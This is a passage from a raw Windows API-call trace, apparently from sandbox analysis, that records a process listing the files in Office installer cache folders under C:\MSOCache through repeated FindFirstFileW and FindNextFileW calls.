ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x264400, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.msi", cAlternateFileName="GROOVE~1.MSI")) returned 1 [0066.196] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.xml", cAlternateFileName="GROOVE~1.XML")) returned 1 [0066.196] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0066.196] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbec1a700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbec1a700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0066.197] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0066.199] GetProcessHeap () returned 0x550000 [0066.199] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0066.199] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0066.199] GetProcessHeap () returned 0x550000 [0066.199] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0066.200] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0066.200] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.200] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0066.200] GetProcessHeap () returned 0x550000 [0066.200] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26830a0 [0066.494] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9f8 [0066.494] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a35700, ftCreationTime.dwHighDateTime=0x1cac9d7, ftLastAccessTime.dwLowDateTime=0x6a35700, ftLastAccessTime.dwHighDateTime=0x1cac9d7, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1a588, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwintl20.dll", cAlternateFileName="")) returned 0 [0066.495] FindClose (in: hFindFile=0x56a9f8 | out: hFindFile=0x56a9f8) returned 1 [0066.495] GetProcessHeap () returned 0x550000 [0066.495] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26830a0 | out: hHeap=0x550000) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0066.495] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa26c9d00, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xa26c9d00, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85142d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xccb88, dwReserved0=0x0, dwReserved1=0x0, cFileName="DW20.EXE", cAlternateFileName="")) returned 1 [0066.496] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85ab8b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x80760, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwdcw20.dll", cAlternateFileName="")) returned 1 [0066.496] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabf60500, ftCreationTime.dwHighDateTime=0x1cac9ae, ftLastAccessTime.dwLowDateTime=0xabf60500, ftLastAccessTime.dwHighDateTime=0x1cac9ae, ftLastWriteTime.dwLowDateTime=0xe85f73a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7eda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dwtrig20.exe", cAlternateFileName="")) returned 1 [0066.496] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d646800, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8d646800, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x741, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0066.496] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0066.496] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0066.497] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0066.497] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0066.497] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0066.497] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0066.497] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0x0, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0066.498] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77cbb000, ftCreationTime.dwHighDateTime=0x1cac57a, ftLastAccessTime.dwLowDateTime=0x77cbb000, ftLastAccessTime.dwHighDateTime=0x1cac57a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x6a3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="pss10r.chm", cAlternateFileName="")) returned 1 [0066.498] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0066.498] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0066.498] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 1 [0066.499] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0066.499] FindClose (in: hFindFile=0x56a9b8 | out: hFindFile=0x56a9b8) returned 1 [0066.499] GetProcessHeap () returned 0x550000 [0066.499] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2661080 | out: hHeap=0x550000) returned 1 [0066.499] FindNextFileW (in: hFindFile=0x56a938, lpFindFileData=0x2c9f340 | out: lpFindFileData=0x2c9f340*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0066.499] GetProcessHeap () returned 0x550000 [0066.499] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x2661080 [0066.499] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9b8 [0066.500] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.500] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0066.500] GetProcessHeap () returned 0x550000 [0066.500] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26830a0 [0066.500] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x56a9f8 [0066.540] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0066.540] FindNextFileW (in: hFindFile=0x56a9f8, lpFindFileData=0x2c9ee30 | out: lpFindFileData=0x2c9ee30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x0, dwReserved1=0x0, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0066.541] FindClose (in: hFindFile=0x56a9f8 | out: hFindFile=0x56a9f8) returned 1 [0066.541] GetProcessHeap () returned 0x550000 [0066.541] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26830a0 | out: hHeap=0x550000) returned 1 [0066.541] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0066.541] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0066.542] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0066.542] FindNextFileW (in: hFindFile=0x56a9b8, lpFindFileData=0x2c9f0b8 | out: lpFindFileData=0x2c9f0b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, 